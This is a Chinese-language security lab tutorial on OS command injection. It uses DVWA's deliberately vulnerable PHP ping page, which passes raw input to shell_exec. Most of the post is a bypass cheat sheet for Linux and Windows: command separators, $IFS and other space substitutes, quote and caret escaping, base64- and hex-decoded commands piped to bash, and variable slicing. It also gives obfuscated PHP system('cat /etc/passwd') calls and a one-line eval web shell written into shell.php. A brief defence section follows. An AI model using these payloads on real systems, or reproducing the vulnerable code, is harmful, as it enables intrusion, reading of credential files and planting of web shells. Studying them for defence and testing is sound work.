戟星安全实验室
本文约3170字,阅读约需8分钟。
0x00 原理
0x01 实例
1.1 以dvwa为例:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
下面使用ping命令测试ip,正常输入一个ip或者域名会返回一个正常的返回结果。
当输入恶意构造的语句“www.baidu.com && netstat -an”,后面的语句也会被执行。
用 ^ 转义:
echo ^<?php eval($_POST[pass]); ?^> > web目录/shell.php
单引号写不进去:
双引号会被一起写进去:
用单引号(双引号亦可):
0x02 绕过
2.1 Linux:
符号 | 含义 |
& | 表示将任务置于后台执行。 |
; | 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块。 |
&& | 只有在 && 左边的命令返回真(返回0表示成功), &&右边的命令才会被执行。 |
|| | 只有在 || 左边的命令返回假(返回1表示失败), ||右边的命令才会被执行。 |
| (管道符) | | 表示管道,上一条命令的输出,作为下一条命令的参数。 |
%0a | php环境。 |
%0d | php环境。 |
` ` | 反引号,跟在命令后,作为命令的参数。 |
$( ) | 跟在命令后,作为命令的参数。 |
;
&&
||(前一条命令执行失败)
|
``
$( )
ping 127.0.0.1 -c 1;a=who;b=ami;$a$b
echo ${PATH:起始位置:截取长度}
执行命令:
${PATH:5:1}${PATH:2:1}
符号 | 备注 |
$IFS | Linux命令中默认指定space,tab,换行 |
$IFS$1 | $IFS$1中的1可以用1-9代替。 |
${IFS} | 同一 |
< | 比如cat<shell.php,表示cat shell.php。 |
<> | 比如cat<>shell.php,表示cat shell.php。 |
{ , } | 用逗号代替空格,需要用{}括起来。 |
X=$'A\x20B'&&$X | A为命令,B为参数,用\x20代替空格。 |
%20 | php环境。 |
%09 | php环境。 |
$IFS
$IFS$1
${IFS}
<(后面只能跟直接参数,不能跟间接参数)
{cat,shell.php}
X=$'A\x20B'&&$X
反斜线绕过:
单引号绕过(必须成对出现):
双引号绕过(必须成对出现):
反引号绕过(必须成对出现并且中间无内容):
base64编码绕过(d2hvYW1p是whoami的base64编码):
echo d2hvYW1p|base64 -d|sh
echo d2hvYW1p|base64 -d|bash
hex编码绕过(77686F616D69是whoami的hex编码):
echo 77686F616D69|xxd -r -p|bash
在没有传入参数的情况下,这些特殊字符默认为空:
$*
$@
$x(x为1-9)
${x}(x为任意正整数)
反引号的作用是把里面的内容当做命令执行。斜杠的作用是拼接。
666`whoami`666
666`\whoami`666
以上可用来绕过命令和文件名,以下仅绕文件名。
cat sh[efg]ll.php 匹配[efg]中任意一个字符:
cat sh[a-z]ll.php 匹配[a-z]中任意一个字符:
cat she* 匹配任意字符:
a=sh;b=e;c=ll;cat $a$b$c.php 内联执行:
正则表达式:
# 以system()为例:
system("cat /etc/passwd")
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
(sy.(st).em)("cat /etc/passwd");
"system/*fgnb*/("cat /etc/passwd");"
"system/*fgnb*/(wh./*fgnb*/(oa)/*fgnb*/.mi);"
"(sy./*fgnb*/(st)/*fgnb*/.em)/*fgnb*/(wh./*fgnb*/(oa)/*fgnb*/.mi);"
${HOME:0:1}:
2.2Windows:
符号 | 备注 |
| | 只执行后半部分。 |
|| | 只有前半部分为假,才执行后半部分。 |
& | 都会执行后半部分。 |
&& | 都为真才全部执行;前半部分为假,全部不执行;前半部分为真,后半部分为假,只执行前半部分。 |
|
||
&
&&
双引号 "
转义号 ^
"w"h"o"a"m"i"
wh^oa^mi
w""h^o^a"m"i 混合使用时需要注意转义号之前的双引号必须成对出现。
(((w""h^o^a"m"i)))
用两个%括起来的变量,会输出变量的值:
set a=1 //设置变量a,值为1
echo a //此时输出结果为"a"
echo %a% //此时输出结果为"1"
利用:
set a=who
set b=ami
%a%%b%
//或者 call %a%%b%
set a=whoami
%a:~0% //切割所有
%a:~0,6% //切割前6个字符
%a:~0,5% //切割前6个字符,whoam不是系统命令,无法执行
进阶:
set a=abc
who^%a:~0,1%mi
CommonProgramFiles=C:\Program Files\Common Files
PROGRAMFILES="C:\Program Files"
从CommonProgramFiles这个变量中截取,从第10个字符开始,截取后面一个字符,那这个空格就被截取到了(也就是Program和Files中间的那个空格)
PROGRAMFILES同理
net%CommonProgramFiles:~10,-18%user
net%PROGRAMFILES:~10,-5%user
0x03 防御
采用白名单,或使用正则表达式进行过滤。
不要让用户可以直接控制system()、exec()、shell_exec()、passthru()等函数的参数。
在进入执行命令函数和方法前,对变量进行过滤,对敏感字符进行转义。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
戟星安全实验室
# 长按二维码 关注我们 #